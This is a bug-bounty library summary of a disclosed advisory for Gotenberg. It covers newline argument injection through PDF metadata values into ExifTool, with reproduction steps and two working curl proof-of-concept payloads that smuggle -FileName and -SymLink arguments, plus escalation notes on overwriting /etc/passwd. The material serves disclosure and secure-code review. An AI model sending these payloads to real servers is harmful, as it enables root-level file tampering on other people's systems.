# Gotenberg has ExifTool stdin argument injection via metadata value newlines (bypass of key sanitization fix)

Gotenberg's metadata write endpoint only sanitized ExifTool keys, so a newline in a metadata value injected pseudo-tags like -FileName/-SymLink, moving or linking arbitrary files as root.

- Payout: Research
- Severity: critical
- Program: Gotenberg
- Found by: morimori-dev
- Disclosed: 2026-04-30
- CVE: CVE-2026-40281
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-q7r4-hc83-hf2q
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-q7r4-hc83-hf2q
- Tags: area:cloud domain:infra domain:web impact:integrity impact:privesc kind:research platform:ghsa sev:critical tech:docker technique:incomplete-fix technique:source-review vuln:command-injection vuln:file-upload vuln:path-traversal

**Target:** PDF metadata write endpoint (/forms/pdfengines/metadata/write) backed by ExifTool
**Root cause:** go-exiftool writes each metadata pair to ExifTool stdin as `"-"+k+"="+str` via fmt.Fprintln; the v8.30.1 fix validated only keys, so a newline in the value splits the line into a second, attacker-controlled ExifTool argument.
**Steps:**
1. Start `docker run --name gotenberg-test -p 3001:3000 gotenberg/gotenberg:8`
2. Create a test PDF via `/forms/chromium/convert/html`
3. POST to `/forms/pdfengines/metadata/write` with `metadata={"Title":"test\n-FileName=/tmp/inject_proof"}` and the PDF file
4. Observe HTTP 404 (file moved from temp path)
5. `docker exec gotenberg-test ls -la /tmp/inject_proof` confirms the PDF was moved
6. Symlink variant: `metadata={"Title":"test\n-SymLink=/tmp/sym_inject"}` creates a symlink to the source PDF
**How found:** Noticed the v8.30.1 fix (commit 405f106) validated only metadata keys via safeKeyPattern, then read go-exiftool's SetString to see values are written line-by-line to stdin with fmt.Fprintln — hypothesizing a newline in a value would become a separate argument, and confirming with Docker.
**Exploitation:** Unauthenticated attacker submits a PDF plus a metadata JSON whose value contains a newline followed by an ExifTool pseudo-tag (-FileName, -Directory, -SymLink, -HardLink). ExifTool executes the injected argument, moving/renaming the processed PDF to an arbitrary container path, overwriting files (e.g. -Directory=/etc/ -FileName=passwd), or creating symlinks/hardlinks for follow-on read/write primitives.
**Escalation:** Chaining -Directory and -FileName moves the PDF over arbitrary files such as /etc/passwd; -SymLink/-HardLink establish persistent paths beyond temp cleanup, enabling further read/write primitives.
**Insight:** When a fix adds a regex/blocklist on one side of a key=value pair, check the other side: any library that serializes pairs line-by-line to a subprocess stdin (fmt.Fprintln("-"+k+"="+v)) is injectable via newlines in the value, even if keys are locked down.

## Proof of concept (copied exactly from the original report)

**Curl request injecting -FileName via newline**

```
curl -s -w "\nHTTP %{http_code}" \
     -F 'files=@test.pdf;type=application/pdf' \
     -F 'metadata={"Title":"test\n-FileName=/tmp/inject_proof"}' \
     http://localhost:3001/forms/pdfengines/metadata/write
   # Returns HTTP 404 (file moved away from temp path)
```

**Curl request injecting -SymLink via newline**

```
curl -s -w "\nHTTP %{http_code}" \
     -F 'files=@test.pdf;type=application/pdf' \
     -F 'metadata={"Title":"test\n-SymLink=/tmp/sym_inject"}' \
     http://localhost:3001/forms/pdfengines/metadata/write
   docker exec gotenberg-test ls -la /tmp/sym_inject
   # lrwxrwxrwx ... /tmp/sym_inject -> /tmp/.../source.pdf
```

